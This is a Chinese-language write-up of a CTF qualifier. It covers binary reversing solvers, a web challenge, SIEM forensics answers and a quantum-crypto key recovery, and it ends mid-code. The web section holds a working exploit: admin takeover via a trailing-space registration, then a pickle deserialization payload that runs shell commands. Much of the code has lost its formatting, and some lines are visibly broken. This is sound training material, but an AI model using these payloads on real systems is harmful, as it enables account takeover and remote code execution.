第三届“陇剑杯”网络安全大赛预选赛 WP
原创 NEURON 2025-09-12 14:41 广东
第三届“陇剑杯”网络安全大赛预选赛Writr-up

REVERSE
Lesscommon

Main函数
要求的值


作为key
While轮加密
#include <iostream>#include <vector>#include <cstdint>#include <cstring>using namespace std;uint32_trol32(uint32_t x, uint32_t n) { n &= 0x1F; return (x << n) | (x >> (32 - n));}uint32_tror32(uint32_t x, uint32_t n) { n &= 0x1F; return (x >> n) | (x << (32 - n));}uint32_tu32(uint32_t x) { return x & 0xFFFFFFFF;}vector<uint32_t> key_schedule(const vector<uint8_t>& key_bytes, size_t S_len) { size_t L_len = (key_bytes.size() + 3) / 4; if (L_len == 0) L_len = 1; vector<uint32_t> L(L_len, 0); for (int i = key_bytes.size() - 1; i >= 0; --i) { int idx = i / 4; L[idx] = u32((L[idx] << 8) + key_bytes[i]); } vector<uint32_t> S(S_len, 0); S[0] = 1766649740; uint32_t add_const = 1422508807; for (size_t j = 1; j < S_len; ++j) S[j] = u32(S[j - 1] + add_const); uint32_t v15 = 0, v16 = 0; size_t idxS = 0, idxL = 0; size_t rounds = 3 * max(S_len, L_len); for (size_t k = 0; k < rounds; ++k) { uint32_t v = S[idxS]; uint32_t v7 = u32(k ^ rol32(u32(v15 + v16 + v), 3)); S[idxS] = v7; v16 = v7; uint32_t v_l = L[idxL]; uint32_t v8 = u32(rol32(u32(v15 + v7 + v_l), (v7 + v15) & 0x1F)); L[idxL] = v8; v15 = v8; idxS = (idxS + 1) % S_len; idxL = (idxL + 1) % L_len; } return S;}voiddecrypt_block(const uint8_t* block8, uint32_t* S, int rounds_count, uint8_t* out) { uint32_t v15 = *(uint32_t*)(block8); uint32_t v13 = *(uint32_t*)(block8 + 4); for (int k = rounds_count; k >= 1; --k) { uint32_t tmp = v13 ^ v15; uint32_t v13_in = ror32(tmp, v15) - S[2 * k + 1]; uint32_t tmp2 = v15 ^ v13_in; uint32_t v15_in = ror32(tmp2, v13_in) - S[2 * k]; v13 = v13_in; v15 = v15_in; } uint32_t v14 = v15 - S[0]; uint32_t v12 = v13 - S[1]; memcpy(out, &v14, 4); memcpy(out + 4, &v12, 4);}vector<uint8_t> decrypt_buffer(const vector<uint8_t>& cipherbytes, vector<uint32_t>& S, int rounds_count) { if (cipherbytes.size() % 8 != 0) throw runtime_error("Cipher length must be multiple of 8"); vector<uint8_t> out(cipherbytes.size()); for (size_t i = 0; i < cipherbytes.size(); i += 8) decrypt_block(&cipherbytes[i], S.data(), rounds_count, &out[i]); uint8_t pad_len = out.back(); if (pad_len >= 1 && pad_len <= 8) { bool valid = true; for (size_t i = out.size() - pad_len; i < out.size(); ++i) { if (out[i] != pad_len) valid = false; } if (valid) out.resize(out.size() - pad_len); } return out;}intmain() { vector<uint8_t> key_bytes = { 0x01,0x23,0x45,0x67, 0x89,0xAB,0xCD,0xEF, 0xFE,0xDC,0xBA,0x98, 0x76,0x54,0x32,0x10 }; vector<uint8_t> cipher_bytes = { 0x4C,0x6F,0xAB,0xF3,0x13,0x78,0xE2,0xF6, 0x86,0x9D,0x1C,0x99,0xDE,0x85,0xCC,0x10, 0xE8,0x28,0xEE,0x05,0x92,0x21,0x4B,0x34, 0x43,0x28,0x17,0x3C,0x56,0x5B,0x73,0x51, 0x9F,0x8A,0x1D,0x0F,0x97,0x34,0x2C,0x56, 0x42,0x9F,0x69,0x48,0xA3,0xD5,0x8A,0xF5 }; int rounds_count = 12; int S_len = 2 + 2 * rounds_count; vector<uint32_t> S = key_schedule(key_bytes, S_len); vector<uint8_t> plain = decrypt_buffer(cipher_bytes, S, rounds_count); cout << " flag: "; for (auto c : plain) cout << c; cout << endl; return0;}参考
RC5对称加密算法-CSDN博客RC6加密解密算法实现(C语言)_c++rc6算法解密-CSDN博客
Prover

比对值 多约束校验
用户输入一个固定长度 的字符串。校验前缀 flag{ 和后缀 }。
中间 16 个字符(i=5~20)被循环映射到 byte_6085 和 dword_608A 表。
核心计算:

累计校验与哈希 并进行填充和分组处理,使用多轮 循环左移 (ROL) + 加减 + 异或 + 常数 混合,与硬编码常量对比,如果全部匹配,则输出 Correct!。
Z3 约束求解
from typing importListfrom z3 import *defr8(x,r):return RotateLeft(x,r%8)defr32(x,r):return RotateLeft(x,r%32)defr64(x,r):return RotateLeft(x,r%64)defpop32(x): a = x - (LShR(x,1) & BitVecVal(0x55555555,32)) b = (a & BitVecVal(0x33333333,32)) + (LShR(a,2) & BitVecVal(0x33333333,32)) c = (b + LShR(b,4)) & BitVecVal(0x0F0F0F0F,32) d = c * BitVecVal(0x01010101,32)return LShR(d,24)mvals = [0x03,0x05,0x09,0x0B,0x0D]xvals = [0xA5,0x5C,0xC3,0x96,0x3E,0xD7,0x21]solver = Solver()f = [BitVec(f'f{i}',8) for i inrange(22)]for i,cst inenumerate(b'flag{'): solver.add(f[i]==cst)solver.add(f[21]==ord('}'))for i inrange(5,21): solver.add(Or(And(f[i]>=0x30,f[i]<=0x39),And(f[i]>=0x61,f[i]<=0x66)))tb = []for i inrange(22): tmp = (BitVecVal(mvals[i%5],8)*f[i] + BitVecVal((19*i+79)&0xFF,8)) tmp = Extract(7,0,tmp) tmp ^= BitVecVal(xvals[i%7],8) tb.append(r8(tmp,i%5))tb += [BitVecVal(0,8),BitVecVal(0,8)]dw = []for k inrange(0,24,4): d = ZeroExt(24,tb[k]) | (ZeroExt(24,tb[k+1])<<8) | (ZeroExt(24,tb[k+2])<<16) | (ZeroExt(24,tb[k+3])<<24) dw.append(Extract(31,0,d))v42 = Extract(7,0,Sum([pop32(d) for d in dw]))v53,v52,v51,v50 = BitVecVal(0,16),BitVecVal(0,8),BitVecVal(0,8),BitVecVal(0,8)for j inrange(22): v53 = Extract(15,0,v53 + ZeroExt(8,tb[j])) v52 = v52 ^ tb[j] v51 = Extract(7,0,v51 + Extract(7,0,(tb[j]*BitVecVal(j+1,8)))) v50 = Extract(7,0,v50 + Extract(7,0,pop32(ZeroExt(24,tb[j]))))idx = lambda i: dw[i%6]v21 = idx(0)v20 = r32(v21,5)v37 = (idx(2)-BitVecVal(1640531527,32)) ^ v20v18 = idx(4) ^ BitVecVal(0xDEADBEEF,32)v19 = idx(7)n172 = (r32(v19,11)+v18+v37) ^ BitVecVal(0xA5A5A5A5,32)v16 = (BitVecVal(0xFFFFFFFF & (-2048144789),32) * idx(1))v17 = idx(5)v35 = r32(v17,13)+v16v15 = idx(8)+BitVecVal(2135587861,32)v13 = (BitVecVal(668265261,32)*idx(3)) ^ v15 ^ v35v14 = idx(9)v34 = (r32(v14,17)+v13) ^ BitVecVal(0x5A5AA5A5,32)v12 = idx(0v33 = idx(3)^v12^BitVecVal(0x13579BDF,32)v11 = idx(1)v10 = idx(2)v32 = r32(v10,7)+v11for m inrange(2): v9 = r32((BitVecVal(m,32)^BitVecVal(0x9E3779B9,32))-(BitVecVal(2048144789,32)*v32),5*m+5) v30 = r32(v32,11)^v32^v9^v33 v33 = v32 v32 = v30v8 = r32(v33,3)n191 = (r32(v32,11)+v8) ^ BitVecVal(0x5A5AA5A5,32)h64 = BitVecVal(0x243F6A8885A308D3,64)for i inrange(22): sh = 8*(i&7) mixed = h64 ^ (ZeroExt(56,tb[i]) << sh) h64 = r64(BitVecVal(0x9E3779B185EBCA87,64)*mixed,13) tmp = BitVecVal(0xBF58476D1CE4E5B9,64)*(h64^LShR(h64,30))v3 = BitVecVal(0x94D049BB133111EB,64)*(tmp^LShR(tmp,27))n161 = v3 ^ LShR(v3,31)solver.add(n161 == BitVecVal(0x9B30518C600D26DD,64))solver.add(Extract(31,0,n161) == BitVecVal(1611474653,32))solver.add(n191 == BitVecVal(1911915815,32))solver.add(((v32+v33)^BitVecVal(0xA5A5A5A5,32)) == BitVecVal(2323396502,32))solver.add(v34 == BitVecVal(4019606934,32))solver.add(n172 == BitVecVal(1727223967,32))solver.add(v42 == BitVecVal(0x50,8))solver.add(v50 == BitVecVal(0x50,8))solver.add(v51 == BitVecVal(0x43,8))solver.add(v52 == BitVecVal(0x55,8))solver.add(v53 == BitVecVal(0x0913,16))# solveif solver.check() == sat: model = solver.model() flag = ''.join(chr(model[f[i]].as_long()) for i inrange(22))print("done:",flag)else:print("nonooonono")
flag{7ac1d3e59f0b2468}
Dragon
- 在 .rdata 中找到被逐项比较的 DWORD 表(expected_values),确认比对方向- 对目标函数先看反编译,再落回反汇编核对关键常量与循环形态

另一部分


flag 输入校验的入口函数。
check_func() 是真正逐字节比较输入与 .rdata 里的 expected 表的地方。往下反汇编 off_140024150 调用的函数(即 check_func)来看:它应该做了 XOR / 轮移 / 直接逐字节对比。找到 expected 表地址, xxtea算法求解密文和密钥
#include <iostream>#include <vector>#include <fstream>#include <cstdint>#include <string>#include <regex>using namespace std;// 左循环移位uint32_trol32(uint32_t x, int r) { return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFFu;}// XXTEA 核心混合函数uint32_tmx(uint32_t y, uint32_t z, uint32_t s, const vector<uint32_t>& k, int p, int e) { uint32_t t = ((z << 4) ^ (y >> 5)) + ((y << 4) ^ (z >> 5)); t &= 0xFFFFFFFFu; int idx = ((p & 3) ^ e) & 3; uint32_t u = ((s ^ y) + (k[idx] ^ z)) & 0xFFFFFFFFu; return (t ^ u) & 0xFFFFFFFFu;}// XXTEA 解密函数vector<uint32_t> xxtea_decrypt(vector<uint32_t> v, const vector<uint32_t>& k, uint32_t rounds = 0x2A, uint32_t delta = 0x87654321) { size_t n = v.size(); if (n < 2) return v; uint32_t s = (rounds * delta) & 0xFFFFFFFFu; while (rounds > 0) { int e = (s >> 2) & 3; for (int p = (int)n - 1; p >= 0; --p) { uint32_t y = v[(p + 1) % n]; uint32_t z = v[(p - 1 + n) % n]; v[p] = (v[p] - mx(y, z, s, k, p, e)) & 0xFFFFFFFFu; } s = (s - delta) & 0xFFFFFFFFu; rounds--; } return v;}// 将 32 位 word 转换为字节流vector<uint8_t> words_to_bytes(const vector<uint32_t>& words) { vector<uint8_t> data; for (uint32_t w : words) { data.push_back((uint8_t)(w & 0xFF)); data.push_back((uint8_t)((w >> 8) & 0xFF)); data.push_back((uint8_t)((w >> 16) & 0xFF)); data.push_back((uint8_t)((w >> 24) & 0xFF)); } // 去掉末尾填充 0x00 while (!data.empty() && data.back() == 0x00) { data.pop_back(); } return data;}// 尝试检测 flag 格式stringextract_flag(const string& text) { regex flag_pattern(R"(flag\{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\})"); smatch match; if (regex_search(text, match, flag_pattern)) { return match.str(0); } return"";}intmain() { // 已知密文 vector<uint32_t> cipher_words = { 0x0EB4D6CE, 0x521DDE8B, 0x21ED24FD, 0xBA10EC26, 0x3339931C, 0x46DC0E7D, 0xCC469F44, 0x64BA7079, 0x64777977, 0xB2151C98, 0xDBCC5AA1, }; // 原始密钥 vector<uint32_t> K_raw = { 0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210 }; // 派生密钥 vector<uint32_t> K_derived; for (auto x : K_raw) { K_derived.push_back(rol32(x ^ 0x13579BDF, 7)); } // 解密 auto plain_raw = xxtea_decrypt(cipher_words, K_raw); auto plain_der = xxtea_decrypt(cipher_words, K_derived); // 转字节 auto data_raw = words_to_bytes(plain_raw); auto data_der = words_to_bytes(plain_der); // 写文件 ofstream("candidate_raw.bin", ios::binary).write((char*)data_raw.data(), data_raw.size()); ofstream("candidate_der.bin", ios::binary).write((char*)data_der.data(), data_der.size()); // 转换成字符串 stringdecoded(data_der.begin(), data_der.end()); string flag = extract_flag(decoded); if (!flag.empty()) { cout << " flag: " << flag << endl; } else { cout << " nono" << decoded << endl; } return0;}flag{cbee3251-9cff-4542-bf15-337bb8df7f3f}

WEB
Forge
提示admin才能登录,注入admin提示需要绕过,经过测试可以通过添加空格的方式来注册admin覆盖密码,登录后台可以上传pkl文件,查看示例文件发现是`pickle`序列化数据,有些防护,发现os.popen没有ban,使用以下exp直接打
import pickleimport requestsdefupload(payload): u = url + "upload" r = req.post(u, files={"file": ("123.pkl", payload)}) return r.text.split('<strong>123.pkl</strong>')[1].split('<form action="/execute/')[1].split('"')[0]defexec_(id): u = url + "execute/" + id print(req.post(u).text)classCHIKAWA: def__init__(self, payload): self.model_name = "123" self.data = payload.encode() self.parameters = []url = "http://web-e02460973d.challenge.longjiancup.cn:80/"req = requests.session()req.post(url + "register", data={"username": "admin ", "password": "admin"})req.post(url + "login", data={"username": "admin", "password": "admin"})payload = f"""cospopen(Vtouch "/tmp/`/bin/ca? /?lag`"tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))payload = f"""coslistdir(V/tmp/tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))应急
SIEM
flag1:攻击者的ip是什么192.168.41.143直接搜索:"GET /" ,得到192.168.41.143



flag为flag{3bfc26f5d9f932ccf73f356019585edf}
flag1:攻击者的ip是什么?192.168.41.143flag2:在攻击时间段一共有多少个终端会话登录成功?13flag3:攻击者遗留的后门系统用户是什么?hackerflag4:提交攻击者试图用命令行请求网页的完整url地址。http:1192.168.41.136/.back.php?pass=idflag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID。1734511987.34749419flag6:提交攻击者对域攻击所使用的工具。mimikatzflag7:提交攻击者删除DC桌面上的文件名。ossec.conf
flag格式:flag{md5(flag1-flag2-flag3-...-flag6-flag7)}
量子
Qrandom
通过量子测量结果间接暴露密钥的汉明重量信息,将复杂的量子密码问题转化为经典的距离几何重构问题:已知多个参考向量与目标未知向量的汉明距离,反推目标向量的具体值。
1. 量子测量的侧信道泄露机制函数
quantum_probs(key)的返回值实际上揭示了关键信息:
技术原理解析:
•
Initialize操作使用密钥的二进制位作为256维量子态的振幅,并进行归一化处理• 随后的 Hadamard变换操作后,基态 的振幅等于所有初始振幅的算术平均值
• 测量概率等于振幅的模长平方,经过数学化简可得
因此,每个浮点数输出直接对应该轮密钥中1比特的数量与总比特数的比值:
2. 汉明距离约束系统的构建
程序循环中同时输出了 xor(secret, key).hex(),设其为 (已知量)。
根据二进制向量的性质:
结合步骤1的结果,我们获得了 111个独立的距离约束条件:
其中 表示 secret 对应的256位二进制向量。
3. 整数线性规划(ILP)模型转换
将汉明距离约束转换为标准的ILP问题形式:
对于每个约束 :
通过异或运算的线性化变换:
变换说明:
• 左侧:未知二进制变量 的线性组合
• 系数:(已知)
• 右侧:完全由已知量构成的常数项
这样构成了111个线性等式约束,通常足以唯一确定256个二进制变量的值。在实际应用中,这类随机生成的约束系统具有很强的"刚性",解的唯一性得到保证。
4. 密钥恢复与最终解密
求解ILP问题得到 (即32字节的 secret)后,按照原始加密流程:
AES.new(key=md5(secret).digest(), nonce=b"suan", mode=AES.MODE_CTR)使用提取的最后一段十六进制密文进行AES-CTR解密即可获得flag。
import reimport mathimport binasciiimport sysimport timefrom hashlib import md5, sha256from Crypto.Cipher import AESimport pulpfrom typing importList, Tuple, Optional, Unionfrom dataclasses import dataclassimport numpy as np@dataclassclassQuantumMeasurement: """量子测量""" probability: float hex_value: str hamming_weight: Optional[int] = None bit_vector: Optional[List[int]] = NoneclassCryptographicSolver: def__init__(self, verbose: bool = False): self.verbose = verbose self.measurements: List[QuantumMeasurement] = [] self.secret_bits: Optional[List[int]] = None deflog(self, message: str) -> None: ifself.verbose: print(f"[{time.strftime('%H:%M:%S')}] {message}") @staticmethod defvalidate_hex_string(hex_str: str) -> bool: """验证十六进制字符串的有效性""" try: int(hex_str, 16) returnlen(hex_str) % 2 == 0 except ValueError: returnFalse @staticmethod defcompute_hamming_weight(data: Union[bytes, str, List[int]]) -> int: """计算汉明重量(1的个数)""" ifisinstance(data, str): data = bytes.fromhex(data) ifisinstance(data, bytes): returnbin(int.from_bytes(data, 'big')).count('1') elifisinstance(data, list): returnsum(data) else: raise TypeError("Unsupported data type for hamming weight calculation")DUMP = r"""0.5117187499999999fd2aa1a3afcc62c28b18143f2d66ad6166aa15b719610c2eef61146c49d25b740.546874999999999922f0454594d938058fa696340e98df141cdc8a7c11b9f4e7aa71e1dc58a533160.496093749999999948e21290f6c53715a739c97df0424cf647ad2ba07b9eb54ec48e037c01d1201730.46874999999999983fd315c27eeaabc334b71ea2f35f4fe1a52d726f89e8caa3d77c3b47756824f330.4999999999999999a56be31339e4f96650931664c315da0519b67670729d6573f74e5061d3b4ef780.51171875f11e2aa92c0b4ba1bff4913a89363cdd1f98aaaea7c52bd6e8aa83e1e52398ee0.56251d9043bb2505d2d54a8d4ef8dc7db940c1d6c8ba79291c1b1e5cedd819d318c30.46093758b57cba2568076c1248aec40dacc20aa0d63a2ff928db1be07d316a875e70a740.48046875000000006a585f5d79e9f5d29a872d73f7b84c19bde6ffa87c73c08220d2ff9e537cdfa990.55078125111d5531bbbc44151d606bd7edc733a9d9c123aa2a1819317d0b266a35d112610.49218749999999993ce134401945e624cf0c8fb642ffe13d89b44fc949c66add3c6d1c8bc8ec5bb50.5078125000000001603b4c21612f10c005dbe6c1d2990605f2986c4737192a9b32e5d420451d8cd30.468749999999999831b2e321549c16a345dcb6da3bbc3027331786bf57802f10a66ea4336c568d9370.570312579ef123308347411ac19458ea414e3d64f6ec51e4c89536adc6ef0c9f7d1fde80.5546875bfbd5c244c43091b332dfb7dcea6a1e60911871e656b7374124f9bbe818329d40.5859375b3feb74cad8970c83a0546612d339f64a5a6797265ab5b8cd1855790073b41380.5429687499999998499047c5aa80f9338740a174421161b384a0e434803fc976c17a0239ce21e6e80.48046875000000020f4657e467882871e5f06422720df63caf773e4c549365f08e94d5435a540a230.5195312499999999858148b3aced8eb3cda39d6cf135db2c666fea67c577c8ded214ef9330bbe2040.496093750000000062b97a0ab6389378bddfc2e4e3790fbf398154d86d3336a1ae5c858ad2d57df670.5664062499999999ddde73d5956f31813e2b28ff6557a3efed626128d0e63fcc40cac673cd20bb9a0.4804687500000000662ef6d65ed47ec8dc2a31dec86c03ae90500d909d5137e704d49a09f5910174b0.589843753c7af3550d0c0ca72b4b64ff77f73f201049b63263a4d8727f14d3f30ac3ed7c0.4843749999999998d3caddb572576ed0a42eae546ddca106f4902118a87beba2060e9bda34a961560.4843750000000001e0fbe1f2c2ecceba91402a98e7b3835ceffd788b8ac0b4f30124804af90b5ee20.421875863d68e890ff445cbb1a1b90b1c22e3fbc8d45930990aeb30c638430ee58d1ec0.546875a8a066beb0349e65abd4ea45feb7d46d8e94ffe880ad7a5ffd49fcb0d50e5e280.5351562499999999295f6373925f502df637c91b41fdecb3beaa3a6b22d7c858990b55e88ec571020.480468750000000067feeebf573bcc48d9b694fee74a437416bd8b5757fa98f36ab1429574f04a28a0.4921874999999999fde3b6fdc733f277f1b99d9fe7b2fd73b2f04216a91bf918a3ae16109b99b7e00.5351562499999999294acfbd65493794a899890113fe0c218771c9344826f9efba5cd5f42f4a625b0.519531249999999890c84e613d185472885c5a631bd19f915890d114138bcca2e760b64898c739260.5234375eed5a4c8eee858d2192ff459647c105d321328672ea7586101cc67152429614a0.464843749999999944e04a57fad42e73393e572da79eaaefdf212b355129d8c1c05e6d5bb3ac81dd50.5585937499999997314c044a108f5a2b4467197fec0d7bc75b8c24b3c567a3ce905292bf1b5b3df30.4492187500000001e908d2b7b9148354b521af1b67c5b7dbcefcbc8c91582829135959197d0138ef0.5039062553ed5aba96729230c6e1ddfa156a1c9f71a492693fea0b76f444c8a80c74debb0.4648437499999998cac13b98a0f07174d0d7e767ce64393b7d05684ad1cadcd128bac7984ba7671b0.5156258d5476d1a9b250df323576f9df6db4f1d0a5b351f52148884f15e4613bc41a720.499999999999999954a50e06f8c7bf1122c174af94c7be558960a3cffdebee8e9b738792918bd1c70.503906254deb53417c94ad22ddf0582499a79f171a19fc2f6ccba2bc2c22509bf754e8a70.5273437499999998b50f353a62a31ac14d2f0a986c6cbbf5a8d4ea5eccdc4ab6076862492775cf570.4843749999999998e15bd80e2bc72d5b5040d3c6ecff2f0f3037606283280006a1bc5f66b805ca0c0.46874999999999983611b0ef54d3364d4b05720be4506428eb5276e2ab1c145df5b50d406369f0cd30.50390625f96b7a20d1dd85bc4d993d37246ea962c8615e206d78ba4006121ce7c3c845fd0.49999999999999995e0677a79e853f4ca636e0ec254af819337c987a01c86b9aac329f2a04a78e2d0.4921874999999999d413a3b7bba53d59ce1faa17d2b0e39ca0ea924a53a9e9652a0e488c5a8ff8c90.5039062558075258973146991dfa133512f17f3766b7fa9a9104697f61d0a097ad1e88090.5039062512391e770425aa8539fc277587f211a386fe1130f520661d6ceca89b3245e4080.4335937499999999412a39c2b5d9cbc9438f2a427cee74e9d4e1be675439df2683e6a8feb5fd26c1b0.4843749999999998b58885913fcc80b2f242f24aba436784a6b2ee5597eaae78ae1ba44a42e492a60.49218749999999997bf54d3c7093dea63d261d3abe8bfe9a59d9bba47c756f1a20ae24c4b93a8e110.51171874999999997e34b3c40d584f22c2a40c2e268acd2e45bb8ae62ea398cdf2f6e8299bd2fc5b0.515625000000000159fa32f46f24e198bb834037391552e4ddbac4426cd969aa9cbdea5effb26eda0.4882812499999997cca09e4f94debe6cbc3e5eb0e45c6dd9224cc8c3f1389e2e84b42a6235f8e8510.58984374999999996e76e668f84fcd553b5a81db1f5cf5dc0ba817e856004e16b24db4a3c1149afc0.49609374999999994bc847871e680e764c6b00c4a11860975a9b139da9bc7f8821f09c050e64c82d30.519531249999999800ee96ba75f751c85fc9d8957238b076ed5108ae9aaa2c1eed0be9f4ded463080.47656250000000006dbcf47f56b016e0bc125a1fddee04b09a88fa612e7d5c43f05200e1e4365ca910.53515624999999984d7b5ae3c80b5d2b1022c7f1bb89b3b2dd9f927562ee5002980f51d31aad93f60.562562b0579da7b901be6ebc30fdcf8e1f4fa9d34dbf732291e7753a83f7ce49b6e60.53515625e71cb0a886ad9328eae1c13720d4815def47777e781a78ef3847423af106adfc0.50390625a06ce345aa3aa11e9befb8bb5f87e7927b345f85a977842b64dec58dedb8bec80.4687499999999998384689ca6163b09aac671e57992f7993867a12511298d83666b6fda06922689ec0.51562500000000016a546bab39b8d3a28859c03b9ee9f7e0c542563c8e99dcbcc18a7327102f38fe0.46093751f91d3e6a4e92f0f66bb7421a8dd6a985f7f790ca80906e0ea391c9746e1ea340.48046875000000006f6db8c9667b78d33d8c81f9beba1d83761050b4c5928d455d5794124618e24b50.50390625cc52765dc245aefa474a3313ebf9f5e3422d98cdba78aa2d1a96c3bb6a9d1e630.488281250000000064abec2f612ad92f8f10b8f62d97ead29a06698274e3fe1d6c7985dffcb04c6020.527343749999999844a6b991ca5f95d7b5ae40b7f5abe058a27091de4508335d14d955b3a9d3caba0.44140625000000006d0da3ed48bb65b145ea5d431fbec6341b2e0b9a6fda7b3ab9b08d1c81ea6be870.5273437499999998b1c842a7bc343044e9590c9793d282349a0bb8afd778a7f23dd67d75eea723e30.496093750000000066a36edb7803be95b8d86698444a10ca8d02b860e43acb434437cb7ec2d8c439d0.4999999999999999a4c0e50c8687192d1e9e362047dc8163be6077cdfa82a988790a4ef7a692e48b0.52343754572f5961b4b16d93cc65b536342e8ad2a6d732e84ec05001444f649e24cc3420.55078125967962cae2232a2f2e040282ce0dd9d6abb205c37ce21ab81e6c3cfb8a5b1a270.53515624999999997a548018cb6caf10bce308eb00227c7c85b03930def8bcc5e0f2d3b3b7ff69840.5195312499999998c2d593871901e7e8dbb21297d688ad743eae096f64d1b45fb8e4a23ce9b8a9880.46874999999999983128024052655b413d7c45dcf3dc25358f4767d5e23f29c1866caa426d1c06fc00.4999999999999999a6cccde461d27e22d5f28e8592be79cdbd2c5446d4761101cd91044a42f618500.492187561a16eb88464835710de531611d97d62800c995fab1329295a2ad5d9a3931faa0.5156250000000001437cd42f14d5ec5f94597077851f3b8e82c531e8badbc9aad7641af889e0fbef0.51562500000000018c982f6e41b462f54c5e8e907c5ed706ccb39f5e6f390b1184bcb7b32ad241b70.49218749999999999177fcec00391e127aedfe95c0ec1760e5e8164546ee71ef1396aab04a7dc1d60.4843749999999998634cf8b55adcae49a99b2764f8eadc6e45b245a05ba204b2efaa63b1e8fa933e0.53515624999999984fc3874fd754b840b14c03ced6b7d7f6014b727456ef1c0f90fb2a624f0dce500.48046875000000006f0fc49d295c0f9a667470b3b7dfeb36a90869d8909c7965ff0c6f338e7b05e430.5429687499999999dc8e993c3a6d81528d3e251654518d7da37ec42f4c56d9df63ee763a35e58c770.51562500000000017628150d64a29e6d8652f669425d33f95bbcb1a7c53ca35a48654c915fec15840.41796875000000006cdef0832ddd11a5893e243e7e2a52b98cd770eceb993b9bc3aa9537c6a626dcb0.47265625b9a30edd19ce01c3c8bdd17bb7e6e21cde3eb4a414f68aefd177c752eac9d5270.5195312499999998a02044c7e5ab1ebd8abd03b64fc1a2c451e42cdbe5d814af0f6451790ffc52430.47656250000000006def3e5b0e6a8d1ea727f6a42b454a7d2bbf1b79a979572a213cdbb487dcc26400.519531249999999817c1e95971e51eba241971f5ba4a15b33070a59887d29eeae66ba01820d70b340.460937499999999834a5f3fa284a548dfe0f09c194e961003c1ff637d89a425fc1d7ecb82d432af680.52734375b29662d1534340928b6db89c6ffbfa7e479877806eda760f69f4141a27768ec60.472656249999999838a989cfa62002ee44a99385aa4c3feba22f02d15ecacb3cb2c1e3eb5fd19de400.515625980d6b85aa1c47e3da78590f1e304502348a60beec72f7d21012d29d436647e60.50390625e93fb7e577831ae8c19c6b1bb8816e0d80fd6f251e01a314561cffcb66ab7b760.51171875a515daa6b5f82eaa3c2ecba681c058ca099cf448464fc4f5ab089dfa51a7a5520.531249999999999822ce511469b84cc2de4d901d3b16dc8188b655aeaeaf2922df2d644b9f108ce70.5195312499999998897c507aeb5852cc392ca13e5b44c235875e34418ded4a13c526aa4a49da5e3e0.4531250000000001d9cd650909bf6e2421c21b258b20285481b446893186e677ed92e3ae5f75c9180.5546875000000001b90c1e2d24ffc710a718486e4301488dacc84ecec4522f395601e2bd95e4d4210.515625000000000325adab706f8a14b07a70055a005d3da43f932ec41d4846cb78aa122e4b79bb690.53906249999999986d711b113e57aa696e6dd155f4badc1c081807e57aba881097f663f001d373bd0.47656250000000006b0bb3eab2f27f3775d373532cf14586e781a43888fd6f57b90f5a3e28166fade0.4999999999999999b7a716a519607b8b3a295a45ff58181a201ad2344efaff1c5ebf233a9366912b0.5078125000000001d65dea6a58af264f367c66b5abd7e5ad0bfd1864086cd14dd9f0ea85d62fbd940.4999999999999998f73c3290397bd758d090ec7e59d337f9accd0b202245e63c61658719124017690.4804687500000000652c02d7d1d952036852d173e890e548700be67fb052d1d2c8f4f351a1275e04680de35c2a8f96b0445fff81a9c1b783b5fb37c089eb3b40c01ffaaa39a555db8d0967e5ad64bc80930c19aa50ab9"""defadvanced_data_parser(dump_content: str) -> Tuple[List[QuantumMeasurement], str]: # 多步骤正则表达式解析 probability_pattern = r'(?<![0-9a-f])([01]?\.\d+)' hex64_pattern = r'\b[0-9a-fA-F]{64}\b' hex_general_pattern = r'\b[0-9a-fA-F]+\b' # 提取概率值 probability_matches = re.findall(probability_pattern, dump_content) probabilities = [float(match) formatchin probability_matches] # 提取64位十六进制值 hex64_values = re.findall(hex64_pattern, dump_content) # 提取密文(非64位的十六进制) all_hex_matches = re.findall(hex_general_pattern, dump_content) ciphertext_candidates = [x for x in all_hex_matches iflen(x) % 2 == 0andlen(x) != 64] ifnot ciphertext_candidates: raise ValueError("未找到有效的密文数据") final_ciphertext = ciphertext_candidates[-1] # 数据完整性验证 iflen(probabilities) < 111orlen(hex64_values) < 111: raise ValueError(f"数据不完整: 概率={len(probabilities)}, 十六进制={len(hex64_values)}") # 构建测量对象列表 measurements = [] for i inrange(111): measurement = QuantumMeasurement( probability=probabilities[i], hex_value=hex64_values[i] ) measurements.append(measurement) return measurements, final_ciphertextdefconvert_hex_to_bit_vector(hex_string: str) -> List[int]: """将十六进制字符串转换为比特向量""" ifnot CryptographicSolver.validate_hex_string(hex_string): raise ValueError(f"无效的十六进制字符串: {hex_string}") byte_data = bytes.fromhex(hex_string) bit_vector = [] for byte_val in byte_data: for bit_pos inrange(7, -1, -1): bit_vector.append((byte_val >> bit_pos) & 1) return bit_vector# 1) 使用高级解析器处理数据measurements, ciphertext_hex = advanced_data_parser(DUMP)# 预处理测量数据for measurement in measurements: measurement.bit_vector = convert_hex_to_bit_vector(measurement.hex_value) measurement.hamming_weight = round(measurement.probability * 256)# 构建矩阵数据Y_matrix = [m.bit_vector for m in measurements] # 111 x 256 比特矩阵C_vector = [m.hamming_weight for m in measurements] # 汉明重量向量Yw_vector = [sum(bit_vec) for bit_vec in Y_matrix] # Y矩阵每行的汉明重量classIntegerLinearProgrammingSolver: """整数线性规划求解器""" def__init__(self, problem_name: str = "QuantumSecretRecovery"): self.problem_name = problem_name self.problem = None self.variables = None self.solution = None defsetup_binary_variables(self, num_vars: int, var_prefix: str = "s") -> List[pulp.LpVariable]: """设置二进制变量""" variables = [] for j inrange(num_vars): var = pulp.LpVariable( f"{var_prefix}_{j}", lowBound=0, upBound=1, cat="Binary" ) variables.append(var) return variables defconstruct_hamming_distance_constraints(self, bit_matrix: List[List[int]], hamming_weights: List[int], matrix_weights: List[int]) -> pulp.LpProblem: """构建汉明距离约束的ILP问题""" # 创建优化问题 self.problem = pulp.LpProblem(self.problem_name, pulp.LpMinimize) # 设置256个二进制变量(对应secret的每一位) self.variables = self.setup_binary_variables(256) # 添加汉明距离约束 constraint_count = 0 for constraint_idx inrange(len(bit_matrix)): # 计算约束系数:对于每个比特位j,系数为(1-2*y_{ij}) constraint_coefficients = [] for bit_pos inrange(256): coeff = 1 - 2 * bit_matrix[constraint_idx][bit_pos] constraint_coefficients.append(coeff) # 右侧值:C_i - sum(y_i) rhs_value = hamming_weights[constraint_idx] - matrix_weights[constraint_idx] 